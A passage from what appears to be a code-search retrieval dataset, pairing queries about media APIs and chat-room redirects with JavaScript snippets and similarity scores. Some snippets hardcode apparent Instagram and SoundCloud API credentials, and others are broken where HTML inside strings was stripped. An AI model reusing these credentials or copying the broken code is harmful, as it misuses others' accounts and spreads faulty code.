(host.match(/youtube.com|youtu.be/ig)) {\\n\\t\\to.format = 'json';\\n\\t\\tu = config.youtube.oembed_url + '?' + qs.stringify(o);\\n\\t} else if (host.match(/instagr.am|instagram/)) {\\n\\t\\tu = config.instagram.oembed_url + '?' + qs.stringify(o);\\n\\t}\\n\\telse return cb(null, {});\\n\\t\\n\\tr.get({url: u, json: true}, function(err, resp, body) {\\n\\t\\tif (!err && resp.statusCode === 200) {\\n\\t\\t\\treturn cb(null, body);\\n\\t\\t} else {\\n\\t\\t\\tif (err) return cb(err);\\n\\t\\t\\telse if (err instanceof Error) return cb(new Error(err));\\n\\t\\t\\telse return cb(new Error(body.errors[0].message));\\n\\t\\t}\\n\\t});\\n}\",\n \"function getRecentMediaByTag(tag) {\\r\\n\\tvar url = \\\"https://api.instagram.com/v1/tags/\\\"\\r\\n\\t\\t\\t+ tag\\r\\n\\t\\t\\t+ \\\"/media/recent\\\"\\r\\n\\t\\t\\t+ \\\"?callback=?&access_token=539668504.2c39d74.5b6021beec4048f0bdba845c38919103&client_id=97bf64bca67344afbbe8ea64caa8e617\\\";\\r\\n\\r\\n\\t$.getJSON(url, cacheData);\\r\\n}\",\n \"function findAll(done) {\\n _connect(function(err, db) {\\n if (err) return done(err);\\n db.collection('mediaentries').find({}, done);\\n });\\n }\",\n \"function getMediaElements(where) {\\n return getElementsByTagName(\\\"media:content\\\", where).map((elem) => {\\n const { attribs } = elem;\\n const media = {\\n medium: attribs[\\\"medium\\\"],\\n isDefault: !!attribs[\\\"isDefault\\\"],\\n };\\n for (const attrib of MEDIA_KEYS_STRING) {\\n if (attribs[attrib]) {\\n media[attrib] = attribs[attrib];\\n }\\n }\\n for (const attrib of MEDIA_KEYS_INT) {\\n if (attribs[attrib]) {\\n media[attrib] = parseInt(attribs[attrib], 10);\\n }\\n }\\n if (attribs[\\\"expression\\\"]) {\\n media.expression = attribs[\\\"expression\\\"];\\n }\\n return media;\\n });\\n}\",\n \"medias() {\\n\\t\\treturn this.recentlyAddedMedias.concat(this.initialMedias)\\n\\t}\",\n \"function getMedia(event) {\\n event.preventDefault();\\n\\n let url = `/media/${this.getAttribute('href')}`;\\n\\n fetch(url)\\n .then(res => res.json())\\n .then(data => {\\n showMedia(data);\\n })\\n .catch((err) => console.log(err));\\n\\n\\n for (let i = 0; i < navLink.length; i++) {\\n navLink[i].classList.remove('navSelected'); // Removes selected class from all nav links\\n }\\n this.classList.add('navSelected'); // Adds selected class to chosen nav link\\n }\",\n \"function html5media() {\\n scanElementsByTagName(\\\"video\\\");\\n scanElementsByTagName(\\\"audio\\\");\\n }\",\n \"function getItems(lat, lng, miles, imagelist) {\\n //console.log(\\\"search service\\\", imagelist);\\n var distance=\\\"false\\\";\\n if (miles) {\\n distance=\\\"true\\\";\\n }\\n // return items.query({lat: lat, lng: lng, miles: miles, 'imagelist[]':imagelist, distance:distance, order:\\\"asc\\\"});\\n return Image.query({lat: lat, lng: lng, miles: miles, 'imagelist[]':imagelist, distance:distance, order:\\\"asc\\\"});\\n\\n }\",\n \"function cmd(a,b,c){var d=\\\"\\\";if(b.mode==\\\"user\\\"){d=\\\"https://api.instagram.com/v1/users/\\\"+c+\\\"/media/recent/?callback=?\\\"}else{d=\\\"https://api.instagram.com/v1/media/popular?callback=?\\\"}$.getJSON(d,a,function(a){onPhotoLoaded(a,b)})}\",\n \"function html5media() {\\r\\n scanElementsByTagName(\\\"video\\\");\\r\\n scanElementsByTagName(\\\"audio\\\");\\r\\n }\",\n \"async list(queryObj) {\\n const result = await this.doRequest({\\n path: \\\"/files\\\",\\n method: \\\"GET\\\",\\n params: {\\n path: (queryObj === null || queryObj === void 0 ? void 0 : queryObj.path) || \\\"/\\\",\\n pagination_token: queryObj === null || queryObj === void 0 ? void 0 : queryObj.paginationToken,\\n qty: (queryObj === null || queryObj === void 0 ? void 0 : queryObj.quantity) || 300,\\n },\\n });\\n return result;\\n }\",\n \"function mediaMgmt()\\r\\n{\\r\\n this.ucatMediaClass();\\r\\n this.setupMedia = function (containerElement, options)\\r\\n {\\r\\n //AUDIO OR VIDEO\\r\\n $(containerElement).find(\\\"audio, video\\\").each(function ()\\r\\n {\\r\\n var tag = $(this);\\r\\n //Only convert media if not already converted;\\r\\n if(!$(this).hasClass(\\\"ucatMEdiaTag\\\")){\\r\\n $(this).addClass(\\\"ucatMEdiaTag\\\");\\r\\n var mediaType = tag.prop(\\\"tagName\\\").toLowerCase();//Audio or video\\r\\n var argumentOptions = mediaType == 'audio' ? options.audio : options.video;\\r\\n var transcriptHighlights = options.transcriptHighlights;\\r\\n var defaultOptions = mediaType == 'audio' ? defaultUcatAudioOptions : defaultUcatVideoOptions\\r\\n reconcileGlobalVariable(argumentOptions, defaultOptions);\\r\\n var tagOptions = copyGlobalVariable(argumentOptions);\\r\\n $.each(tag[0].dataset, function (key, value)\\r\\n {\\r\\n var valueType = typeof (defaultOptions[key]);\\r\\n switch (valueType)\\r\\n {\\r\\n case \\\"boolean\\\":\\r\\n value = parseBoolean(value);\\r\\n break;\\r\\n case \\\"number\\\":\\r\\n value = parseInt(value);\\r\\n break;\\r\\n default:\\r\\n value = String(value);\\r\\n break;\\r\\n }\\r\\n tagOptions[key] = value;\\r\\n });\\r\\n //The media browser plug-in passes the videosizetitle as a data-attribute;\\r\\n //legacy media should use standard playersize as fallback\\r\\n tagOptions.videosize = tagOptions.videosizetitle ? window[tagOptions.videosizetitle] : standardVideoPlayer;\\r\\n tagOptions.transcriptHighlights = transcriptHighlights;\\r\\n for (var th = 0; th < tagOptions.transcriptHighlights.length; th++)\\r\\n {\\r\\n tagOptions.transcriptHighlights[th].visible = true;\\r\\n }\\r\\n //Addded to force complete download of media\\r\\n // tag.attr(\\\"preload\\\",\\\"auto\\\");\\r\\n\\r\\n //simply means that the browser has loaded enough meta-data to know the media’s .duration\\r\\n tag.on('loadedmetadata', { o: tagOptions }, function (e)\\r\\n {\\r\\n ucatAudioVideo(containerElement, this, e.data.o)\\r\\n });\\r\\n }\\r\\n });\\r\\n\\r\\n //Other file types\\r\\n $(containerElement).find(\\\".doc, .xls, .ppt, .pdf, .file\\\").each(function ()\\r\\n {\\r\\n setupDocumentLink($(this));\\r\\n });\\r\\n }\\r\\n\\r\\n return this;\\r\\n}\",\n \"function getAll(){\\n\\tvar pictures = document.getElementById(\\\"picture\\\");\\n\\taudio.src = SingleList[i].audio;\\n\\tpictures.src = SingleList[i].picture;\\n\\t$('#nowplay').html(SingleList[i].artistSong());\\n\\t\\n\\taudio.play();\\n\\n}\",\n \"function getTracks(searchTerm, limit, tracksDiv, ids, playlistID) {\\n\\n if(!ids) {\\n var filter = {\\n q : searchTerm,\\n limit : limit\\n }\\n } else {\\n var filter = {\\n ids : ids\\n }\\n }\\n\\n SC.get('/tracks/', filter, function(tracks, error) {\\n if(tracks) {\\n tracksDiv.html('');\\n\\n $.each(tracks, function(key, track){\\n\\n var pictureUrl;\\n var genre;\\n var wrapper;\\n\\n if(track.artwork_url == null)\\n pictureUrl = 'includes/imgs/no-image.jpg';\\n else\\n pictureUrl = track.artwork_url;\\n\\n if(track.genre == null)\\n genre = \\\"Undefined\\\";\\n else\\n genre = track.genre.trunc(15);\\n\\n var title = $(''+track.title.trunc(40)+'');\\n var stats = $('
    '+track.playback_count+' '+track.comment_count+' '+track.favoritings_count+' '+genre+'
    ');\\n var player = $('
    ');\\n var clear = $('
    ');\\n var wrapper = $('
  • \\\"'+track.title+'\\\"
  • ');\\n \\n wrapper.append(title).append(player).append(stats).append(clear);\\n if(playlistID) {\\n var remove = $('
    ');\\n wrapper.append(remove);\\n }\\n tracksDiv.append(wrapper);\\n\\n player.scPlayer({\\n links: [{url: track.permalink_url, title: track.title}]\\n });\\n\\n wrapper.draggable({\\n stack: '#tracks li',\\n revert: true,\\n cursor: 'move',\\n containment: '#content'\\n });\\n });\\n\\n if(error)\\n tracksDiv.html('

    No tracks found.

    ');\\n\\n } else {\\n console.log(\\\"The get statement must be wrong.\\\");\\n //triggerNotification(error);\\n }\\n\\n });\\n}\",\n \"function processMulti(response){\\n response = response.results;\\n results_list = [];\\n var i = 0;\\n while(results_list.length < 7 && i < response.length){\\n if(response[i].media_type === 'movie' || response[i].media_type === 'tv'){\\n\\n if(response[i].backdrop_path !== undefined && response[i].backdrop_path !== null\\n\\t && response[i].poster_path !== undefined && response[i].poster_path !== null){\\n m_item = {}\\n m_item['id'] = response[i].id;\\n m_item['backdrop_path'] = \\\"https://image.tmdb.org/t/p/w500\\\" + response[i].backdrop_path\\n m_item['media_type'] = response[i].media_type;\\n\\n field_name = \\\"title\\\";\\n if(response[i].media_type === \\\"tv\\\"){\\n field_name = \\\"name\\\";\\n }\\n if(response[i][field_name] !== undefined && response[i][field_name] !== null){\\n m_item['name'] = response[i][field_name];\\n }\\n results_list.push(m_item);\\n }\\n }\\n i++;\\n }\\n\\n\\n query_results = {'data': results_list};\\n return query_results;\\n}\",\n \"function readAlbumsFromDb() {\\n musicDb.allDocs({\\n include_docs: true,\\n startkey: 'album_',\\n endkey: 'album_\\\\uffff'\\n }).then(function (resultFromDb) {\\n processInfoFromDb(resultFromDb)\\n }).catch(function (err) {\\n console.log(err)\\n })\\n }\",\n \"async fetchYourSoundtracks(ctx) {\\n let docRef = await db.collection(auth.currentUser.uid).doc(ctx.getters.getSoundtracksId);\\n let data = []\\n await docRef.get().then(e => {\\n data.push(e.data())\\n });\\n delete data[0].soundtracks;\\n let resultArray = Object.keys(data[0]).map(function(key) {\\n return [Number(key), data[0][key]];\\n });\\n resultArray.sort((a, b) => (a[1].soundtrackTitle > b[1].soundtrackTitle) ? 1 : -1)\\n ctx.commit('setSoundtrackList', resultArray);\\n localStorage.setItem('userSoundtracks', JSON.stringify(resultArray));\\n }\",\n \"get mediaListView() {\\n return this._mediaListView;\\n }\",\n \"function media(){\\n qtd_args = arguments.length;\\n soma = 0;\\n console.log('total args: '+qtd_args);\\n for (i=0;i {\\n if (data.length) {\\n this.setItems(data);\\n }\\n }\\n );\\n }\",\n \"static getAllArtists(){\\n try{\\n\\n const data = connection.query(`select distinct artist from music`);\\n\\n return {status: 0, message: 'Ok', results: data};\\n } catch (error){\\n return{ status: 1, message: 'Error: ' + error, error}\\n }\\n }\",\n \"function addTrack(ID) {\\n var query = \\\" SELECT concat('file://','/', u.rpath)\\\";\\n query += \\\" FROM tracks t, urls u\\\";\\n query += \\\" where t.id=\\\"+ID;\\n query += \\\" and t.url=u.id\\\";\\n var result = sql(query);\\n Amarok.Playlist.addMedia(new QUrl(result[0]));\\n}\",\n \"function spotifysong(song) {\\n\\n spotify.search({ type: 'track', query: song, limit: 20 }, function (err, data) {\\n if (err) {\\n return console.log('Error occurred: ' + error);\\n }\\n for (var i = 0; i < data.tracks.items.length; i++) {\\n console.log(i);\\n console.log(\\\"artist(s) : \\\" + data.tracks.items[i].album.artists[0].name);\\n console.log(\\\"song name : \\\" + data.tracks.items[i].name);\\n console.log(\\\"preview song : \\\" + data.tracks.items[i].preview_url)\\n console.log(\\\"album : \\\" + data.tracks.items[i].album.name)\\n console.log(\\\"----------------------------------------------\\\")\\n }\\n // console.log(data.tracks.items)\\n\\n });\\n\\n}\",\n \"async function __prepareFiles() {\\n const files = albumDetails.pictures,\\n preparedFiles = [];\\n\\n for (let url of preSignedUrls) {\\n let obj = files.find((file) => file.name === url.fileName)\\n preparedFiles.push({ rawFile: obj.file, uploadUrl: url.url })\\n }\\n\\n return preparedFiles;\\n }\",\n \"_loadSongs(selectContainer) {\\n const PATH='https://fullstackccu.github.io/homeworks/hw4/songs.json';\\n const onJsonReady=(json)=>{\\n this.songList=json;\\n this._createSongs(selectContainer);\\n };\\n\\n fetch(PATH)\\n .then(response => response.json())\\n .then(onJsonReady);\\n }\",\n \"media(key, path) {\\n console.log('[Media]', 'cache', `${key} (${path})`);\\n\\n this.game.cache.addSound(key, '', {\\n path,\\n }, false, false);\\n\\n return this;\\n }\",\n \"function getSong(track) {\\n // If there is no track listed display the default of \\\"The Sign, by Ace of Base\\\"\\n if (track === \\\"\\\" || track === undefined || track === null) {\\n var defaultTrack = \\\"The Sign\\\";\\n spotify.search({ type: \\\"track\\\", query: defaultTrack, limit: 10 }, function (err, response) {\\n if (err) {\\n return console.log('It seems you have an error:: ' + err);\\n }\\n //the default was displaying The Sign by Ty Dolla Sign so I just hard coded the default\\n console.log('---------------------------------------------\\\\nArtist: \\\"' + \\\"Ace of Base\\\" +\\n '\\\"\\\\nTrack: \\\"' + \\\"The Sign\\\" +\\n '\\\"\\\\nAlbum: \\\"' + \\\"The Sign (US Album) [Remastered]\\\" +\\n '\\\"\\\\nLink: \\\"' + \\\"https://p.scdn.co/mp3-preview/4c463359f67dd3546db7294d236dd0ae991882ff?cid=731f3e4c779047e89b0f836152cd61cc\\\" + '\\\"\\\\n');\\n });\\n }\\n else {\\n //run if a track is listed\\n spotify.search({ type: \\\"track\\\", query: track, limit: 3 }, function (err, response) {\\n if (err) {\\n return console.log('It seems you have an error:: ' + err);\\n }\\n for (i = 0; i < response.tracks.items.length; i+=1) {\\n // if there is no preview default a link\\n if (response.tracks.items[i].preview_url === null) {\\n console.log('---------------------------------------------\\\\nArtist: \\\"' + response.tracks.items[i].album.artists[0].name +\\n '\\\"\\\\nTrack: \\\"' + response.tracks.items[i].name +\\n '\\\"\\\\nAlbum: \\\"' + response.tracks.items[i].album.name +\\n '\\\"\\\\nLink: \\\"' + response.tracks.items[i].album.external_urls.spotify + '');\\n }\\n else {\\n console.log('---------------------------------------------\\\\nArtist: \\\"' + response.tracks.items[i].album.artists[0].name +\\n '\\\"\\\\nTrack: \\\"' + response.tracks.items[i].name +\\n '\\\"\\\\nAlbum: \\\"' + response.tracks.items[i].album.name +\\n '\\\"\\\\nLink: \\\"' + response.tracks.items[i].preview_url + '\\\"');\\n }\\n }\\n });\\n }\\n}\",\n \"async getSharedAlbums(){\\n const token = await GoogleSignin.getTokens();\\n await this.getDbUserData();\\n data = {\\n URI: 'https://photoslibrary.googleapis.com/v1/sharedAlbums?excludeNonAppCreatedData=true',\\n method: 'GET',\\n headers: {\\n 'Authorization': 'Bearer '+ token.accessToken,\\n 'Content-type': 'application/json'\\n },\\n }\\n response = await this.APIHandler.sendRequest(data);\\n return response\\n }\",\n \"function spotifyThisSong() {\\n let song = \\\"The Sign Ace of Base\\\";\\n if (searchTerm) {\\n song = searchTerm;\\n }\\n spotify.request('https://api.spotify.com/v1/search?q=track:' + song + '&type=track&limit=10', function (error, response) {\\n for (i = 0; i < 3; i++) {\\n if (error) {\\n return console.log(error);\\n }\\n console.log(\\\"\\\\nArtist: \\\" + response.tracks.items[i].artists[0].name + \\\"\\\\nSong: \\\" + response.tracks.items[i].name + \\\"\\\\nPreview: \\\" + response.tracks.items[i].preview_url + \\\"\\\\nAlbum: \\\" + response.tracks.items[i].album.name);\\n };\\n });\\n}\",\n \"function spotifySearch(){\\n spotify.search({ type: 'track', query: songToSearch}, function(error, data){\\n if(!error){\\n for(var i = 0; i < data.tracks.items.length; i++){\\n var song = data.tracks.items[i];\\n console.log(\\\"Artist: \\\" + song.artists[0].name);\\n console.log(\\\"Song: \\\" + song.name);\\n console.log(\\\"Preview: \\\" + song.preview_url);\\n console.log(\\\"Album: \\\" + song.album.name);\\n console.log(\\\"-----------------------\\\");\\n }\\n } else{\\n console.log('Error occurred.');\\n }\\n });\\n }\",\n \"async getAlbums(){\\n const token = await GoogleSignin.getTokens();\\n await this.getDbUserData();\\n data = {\\n URI: 'https://photoslibrary.googleapis.com/v1/albums?excludeNonAppCreatedData=true',\\n method: 'GET',\\n headers: {\\n 'Authorization': 'Bearer '+ token.accessToken,\\n 'Content-type': 'application/json'\\n },\\n }\\n response = await this.APIHandler.sendRequest(data);\\n return response\\n }\",\n \"read({ sponsor, user }, res) {\\n const where = {sponsorId: sponsor.id}\\n Promise.all([\\n SponsorLike.findOne({where:{...where,\\n userId: user.id,\\n }}),\\n SponsorLink.findAll({where}),\\n SponsorMedia.findAll({where}),\\n ])\\n .then(([like, links, mediaObjs])=>{\\n let s = resolveUploadSrc(sponsor.toJSON(), ['logo']);\\n if (like) {\\n s.like = true;\\n }\\n links = links.map( ({name, url}) => ({name, url}) );\\n const media = mediaObjs.map( ({url}) => url);\\n\\n res.json({...s, links, media, mediaObjs});\\n })\\n }\",\n \"function getAudio(device_id) {\\n $.ajax({\\n url: \\\"https://api.spotify.com/v1/me/player/play?device_id=\\\" + device_id,\\n type: \\\"PUT\\\",\\n data: '{\\\"uris\\\": [\\\"spotify:track:' + track + '\\\"]}',\\n beforeSend: function (xhr) {\\n xhr.setRequestHeader('Authorization', 'Bearer ' + _token)\\n },\\n success: function (data) {\\n /*console.log(data)*/\\n }\\n })\\n }\",\n \"function callAPI(query) {\\n\\t$.get(\\\"https://api.soundcloud.com/tracks?client_id=b3179c0738764e846066975c2571aebb\\\",\\n\\t\\t{'q': query,\\n\\t\\t'limit': '20'},\\n\\t\\tfunction(data) {\\n\\n\\t\\t\\tresetTable('searchBody')\\n\\t\\t\\t$.each(data, function(i, v) {\\n\\t\\t\\t\\tvar artwork = '_css/artwork.jpg'\\n\\t\\t\\t\\tif (v.artwork_url != null){\\n\\t\\t\\t\\t\\tartwork = v.artwork_url;\\n\\t\\t\\t\\t} \\n\\t\\t\\t\\tvar title = v.title;\\n\\t\\t\\t\\tvar artist = v.artist;\\n\\t\\t\\t\\tvar artist = v.user.username;\\n\\t\\t\\t\\tvar url = v.permalink_url;\\n\\t\\t\\t\\taddSong(artwork, title, url, artist);\\n\\t\\t\\t\\t// console.log(data);\\n\\t\\t\\t});\\n\\t\\t},'json'\\n\\t);\\n}\",\n \"componentDidMount() {\\n client.photos.search({ query: 'cats', locale: 'en-US', per_page: 24 }).then(res => {\\n this.setState({\\n catPics: res.photos\\n });\\n })\\n .catch(error => {\\n console.log('Error fetching and parsing data', error);\\n });\\n\\n client.photos.search({ query: 'dogs', locale: 'en-US', per_page: 24 }).then(res => {\\n this.setState({\\n dogPics: res.photos\\n });\\n })\\n .catch(error => {\\n console.log('Error fetching and parsing data', error);\\n });\\n\\n client.photos.search({ query: 'computers', locale: 'en-US', per_page: 24 }).then(res => {\\n this.setState({\\n computerPics: res.photos\\n });\\n })\\n .catch(error => {\\n console.log('Error fetching and parsing data', error);\\n });\\n }\",\n \"function parseImage(items) {\\n var curr_data = [];\\n items.forEach(function (element, index, array) {\\n console.log(element.media_key.S);\\n getImage(element.media_key.S).then((img) => {\\n curr_data.push(img);\\n if (curr_data.length == items.length) {\\n displayImages(curr_data);\\n }\\n })\\n })\\n }\",\n \"async cleanUpMusic() {\\n const docs = await this.db.getDocuments('music');\\n const hashes = {};\\n \\n for(let i = 0; i < docs.length; i++) {\\n const doc = docs[i];\\n \\n if(\\n !doc.fileHash || \\n typeof doc.fileHash != 'string' ||\\n (\\n !this.isFileAdding(doc.fileHash) && \\n !await this.hasFile(doc.fileHash) &&\\n await this.db.getMusicByFileHash(doc.fileHash)\\n )\\n ) {\\n await this.db.deleteDocument(doc);\\n continue;\\n }\\n\\n hashes[doc.fileHash] = true;\\n }\\n\\n await this.iterateFiles(async filePath => {\\n try {\\n const hash = path.basename(filePath);\\n\\n if(!hashes[hash] && !this.isFileAdding(hash) && !await this.db.getMusicByFileHash(hash)) {\\n await this.removeFileFromStorage(hash);\\n }\\n }\\n catch(err) {\\n this.logger.warn(err.stack);\\n }\\n });\\n }\",\n \"static getFilmsFromStorage()\\n {\\n let films;\\n if(localStorage.getItem('films') === null)\\n {\\n films = [];\\n }else{\\n films = JSON.parse(localStorage.getItem('films'));\\n }\\n return films;\\n }\",\n \"function getMusic(songName) {\\n\\n // If no song name, defaults The Sign by Ace\\n if (!songName) {\\n var songName = \\\"The Sign Ace\\\";\\n }\\n\\n spotify.search({ type: 'track', query: songName }, function (err, data) {\\n if (err) {\\n return console.log('Error occurred: ' + err);\\n }\\n\\n var trackObj = data.tracks.items[0];\\n\\n // Artist(s)\\n console.log(`Artist: ${trackObj.artists[0].name}`);\\n\\n // The song's name\\n console.log(`Song Name: ${trackObj.name}`);\\n\\n // A preview link of the song from Spotify\\n console.log(`Preview Link: ${trackObj.external_urls.spotify}`);\\n\\n // The album that the song is from\\n console.log(`Album Name: ${trackObj.album.name}`);\\n });\\n}\",\n \"getInitialData() {\\n GalleriesService.findById(this.props.match.params.id, (error, item) => {\\n if (error) {\\n console.log(error);\\n } else if (item == null) {\\n // Gallery not found.\\n this.setState({ alertText: `La gallerie qui a pour id ${this.state.match.params.id} n'a pas été trouvée.` });\\n } else {\\n this.setState({ gallery: item,\\n editGallery : {\\n name: item.name,\\n description: item.description\\n }});\\n\\n // Get medias\\n MediasService.find({ _id: { $in: item.medias } }, (error, items) => {\\n if (error) {\\n console.log(error);\\n } else {\\n this.setState({ images: [...items] });\\n }\\n });\\n }\\n });\\n }\",\n \"function s3ListObjects(token, collection = []) {\\n return listObjects({\\n Bucket: bucket,\\n Prefix: 'sound-sync/',\\n ContinuationToken: token,\\n }).then(({ IsTruncated, Contents, NextContinuationToken }) => {\\n const contents = collection.concat(Contents);\\n return IsTruncated\\n ? s3ListObjects(NextContinuationToken, contents)\\n : contents;\\n });\\n}\",\n \"function playThatFunkyMusic(songName) {\\n spotify\\n .search({ type: \\\"track\\\", query: songName, limit: 5 })\\n .then(function(response) {\\n response.tracks.items.forEach(function(song) {\\n console.log(\\n `\\n Artist(s): ${song.album.artists[0].name}\\n Song Name: ${song.name}\\n Preview Link: ${song.preview_url}\\n Album: ${song.album.name}\\n `\\n );\\n });\\n\\n // console.log(\\n // `\\n // Artist(s): ${response.tracks.items[0].album.artists[0].name}\\n // Song Name: ${response.tracks.items[0].name}\\n // Preview Link: ${response.tracks.items[0].preview_url}\\n // Album: ${response.tracks.items[0].album.name}\\n // `\\n // );\\n })\\n .catch(function(err) {\\n console.log(err);\\n });\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.644103","0.60938877","0.60685694","0.5915229","0.5886536","0.58821404","0.5860882","0.58383995","0.58078915","0.5766396","0.57354265","0.5735394","0.5730848","0.5702633","0.5676882","0.5661672","0.565121","0.5624092","0.5617748","0.55673903","0.55485564","0.5543492","0.5510039","0.54589474","0.54459655","0.54404575","0.54318106","0.54238063","0.54079646","0.53980654","0.5394063","0.5392118","0.539198","0.5381139","0.53767186","0.53573453","0.5349493","0.5339832","0.5332852","0.53283346","0.5319658","0.53094155","0.5307648","0.5296523","0.5286214","0.5278963","0.5264334","0.5242244","0.52401435","0.52377754","0.5236433","0.52275544","0.52254087","0.52101237","0.51953113","0.5194759","0.519405","0.51764894","0.51737654","0.517142","0.51654077","0.51520264","0.51480186","0.5131591","0.51253575","0.5112893","0.51126075","0.5108026","0.51072127","0.5096206","0.5094088","0.50915873","0.509156","0.509133","0.5085427","0.50769705","0.507545","0.50751007","0.50702417","0.5068622","0.5066688","0.5066341","0.5065881","0.5062226","0.5062016","0.50599426","0.5057911","0.5042189","0.50411534","0.5040732","0.50391996","0.50389546","0.5030863","0.5023062","0.5018265","0.5015098","0.50123495","0.500945","0.5003204","0.5000657","0.5000095"],"string":"[\n \"0.644103\",\n \"0.60938877\",\n \"0.60685694\",\n \"0.5915229\",\n \"0.5886536\",\n \"0.58821404\",\n \"0.5860882\",\n \"0.58383995\",\n \"0.58078915\",\n \"0.5766396\",\n \"0.57354265\",\n \"0.5735394\",\n \"0.5730848\",\n \"0.5702633\",\n \"0.5676882\",\n \"0.5661672\",\n \"0.565121\",\n \"0.5624092\",\n \"0.5617748\",\n \"0.55673903\",\n \"0.55485564\",\n \"0.5543492\",\n \"0.5510039\",\n \"0.54589474\",\n \"0.54459655\",\n \"0.54404575\",\n \"0.54318106\",\n \"0.54238063\",\n \"0.54079646\",\n \"0.53980654\",\n \"0.5394063\",\n \"0.5392118\",\n \"0.539198\",\n \"0.5381139\",\n \"0.53767186\",\n \"0.53573453\",\n \"0.5349493\",\n \"0.5339832\",\n \"0.5332852\",\n \"0.53283346\",\n \"0.5319658\",\n \"0.53094155\",\n \"0.5307648\",\n \"0.5296523\",\n \"0.5286214\",\n \"0.5278963\",\n \"0.5264334\",\n \"0.5242244\",\n \"0.52401435\",\n \"0.52377754\",\n \"0.5236433\",\n \"0.52275544\",\n \"0.52254087\",\n \"0.52101237\",\n \"0.51953113\",\n \"0.5194759\",\n \"0.519405\",\n \"0.51764894\",\n \"0.51737654\",\n \"0.517142\",\n \"0.51654077\",\n \"0.51520264\",\n \"0.51480186\",\n \"0.5131591\",\n \"0.51253575\",\n \"0.5112893\",\n \"0.51126075\",\n \"0.5108026\",\n \"0.51072127\",\n \"0.5096206\",\n \"0.5094088\",\n \"0.50915873\",\n \"0.509156\",\n \"0.509133\",\n \"0.5085427\",\n \"0.50769705\",\n \"0.507545\",\n \"0.50751007\",\n \"0.50702417\",\n \"0.5068622\",\n \"0.5066688\",\n \"0.5066341\",\n \"0.5065881\",\n \"0.5062226\",\n \"0.5062016\",\n \"0.50599426\",\n \"0.5057911\",\n \"0.5042189\",\n \"0.50411534\",\n \"0.5040732\",\n \"0.50391996\",\n \"0.50389546\",\n \"0.5030863\",\n \"0.5023062\",\n \"0.5018265\",\n \"0.5015098\",\n \"0.50123495\",\n \"0.500945\",\n \"0.5003204\",\n \"0.5000657\",\n \"0.5000095\"\n]"},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}},{"rowIdx":40,"cells":{"query":{"kind":"string","value":"redirect from createRoom page to joinRoom page or viceVersa"},"document":{"kind":"string","value":"function redirect(param) {\n const value = param;\n if(value === 'createroom'){\n location.href = \"createRoom.html\";\n }\n else if (value === 'joinroom') {\n location.href = \"index.html\";\n }\n else if (value === 'permissionGranted') {\n // location.href = \"homepage\";\n }\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["function goToRoom(e) {\n\te.preventDefault();\n\n\tvar roomName = $.trim($('#roomName').val());\n\n\tif(!roomName){ return; } \n\n window.location.href = '/covert/room/' + roomName;\n}","async function createChatroomAndRedirect(e) {\n setLoading(true);\n try {\n let roomId = profileData.chatRoomId;\n if (!roomId) {\n roomId = await createChatRoomInDB(profileData.id, profileData.displayName);\n }\n\n history.push('/chatRoom/' + roomId);\n } catch (error) {\n setLoading(false);\n }\n }","function leaveRoom() {\n window.location = routeHome()\n }","function clickRoom(room) {\n\tvar elem = document.getElementById(ROOM_ID_PREFIX + room);\n\t// var item = findRoomById(room);\n\t// var btn = document.getElementById(room + \"_button\");\n\n\tpage_1.style.display = \"none\";\n\tpage_2.style.display = \"block\";\n\t// room_header_2.innerHTML = item.name;\n\tregister(loggedInUser, room);\n\twindow.history.replaceState('test', '', \"?room=\" + room);\n\t// TODO\n\tmapInit();\n}","function joinedRoom( room ) {\n}","function addRoom() {\n\tvar roomName = $('#add-room-name').val();\n\tvar posting = $.post(roomsAddURI, {\n\t\tname : roomName\n\t});\n\tposting.done(function(data) {\n\t\t//Add room via rest api then join it\n\t\tvar room = JSON.parse(JSON.stringify(data));\n\t\tjoinRoom(room.roomId, true);\n\t});\n}","function join() {\n var roomName = roomField.value\n , userName = userField.value\n\n roomStore.set(\"room-name\", roomName)\n roomStore.set(\"user-name\", userName)\n\n roomField.value = \"\"\n userField.value = \"\"\n\n room.emit(\"join\", roomName, userName)\n}","function handleJoinRoom(room_name){\n clearErrors();\n socket.emit(\"join_room\", room_name);\n }","function createRoom() {\n db.Room.create({\n room_id: req.body.room_id,\n property_id: req.body.property_id,\n price: req.body.price,\n roomType: req.body.roomType,\n aboutRoom: req.body.aboutRoom,\n status: req.body.status,\n closeDate: req.body.closeDate,\n HotelId: thisId\n })\n .then(function() {\n res.send(\"/choice/\" + lastSegment);\n })\n .catch(function(err) {\n console.log(err);\n res.json(err);\n });\n }","function joinRoom(e, roomAlreadyCreated) {\n e.preventDefault();\n if (roomAlreadyCreated) {\n if (!document.getElementById(\"username_shareableRoom\").value.length < 1) {\n userName = document.getElementById(\"username_shareableRoom\").value;\n socket.open();\n var enteredRoomName = document.getElementById(\"roomToJoin\").value;\n userName = document.getElementById(\"username_shareableRoom\").value;\n socket.emit(\"joinRoom\", enteredRoomName, userName);\n currentRoom = enteredRoomName;\n MicroModal.close(\"shareableRoomCreatedModal\");\n // showStartGameButton();\n } else {\n document.getElementById(\"username_shareableRoom\").style.border =\n \"2px solid red\";\n setTimeout(function () {\n document.getElementById(\"username_shareableRoom\").style.border =\n \"2px solid black\";\n }, 3000);\n }\n } else {\n if (username()) {\n socket.open();\n var enteredRoomName = document.getElementById(\"enteredRoomName\").value;\n userName = document.getElementById(\"userName\").value;\n socket.emit(\"joinRoom\", enteredRoomName, userName);\n currentRoom = enteredRoomName;\n }\n }\n}","function setRoom(name) {\n $('form').remove();\n $('h1').text(name);\n $('#subTitle').text('Link to join: ' + location.href);\n $('body').addClass('active');\n }","instanciateRoom()\n { \n //this.createRoom();\n $(\"#GP-btn_2\").text(\"Eliminar sala\")\n $(\"#GP-btn_1\").css(\"display\", \"block\");\n pageIndex = 4;\n app.goToPage(\"Game-Roulete\");\n }","function _joinRoom() {\n roomId = rooms[0].id;\n // Join the room\n socketInstance.post('/room/' + roomId + '/onlineUsers', { id: myChatId });\n }","function navigateToTickets(roomId){\n window.location.href = \"tickets.html?roomId=\" + roomId; \n}","function createNewRoom() {\r\n // Generate room id.\r\n const newID = uuidv4().substring(0, 8);\r\n\r\n // Join room\r\n socket.join(newID);\r\n\r\n // Update corressponding object in usersArray\r\n updateUserRoom(socket, newID);\r\n\r\n // Send room data to 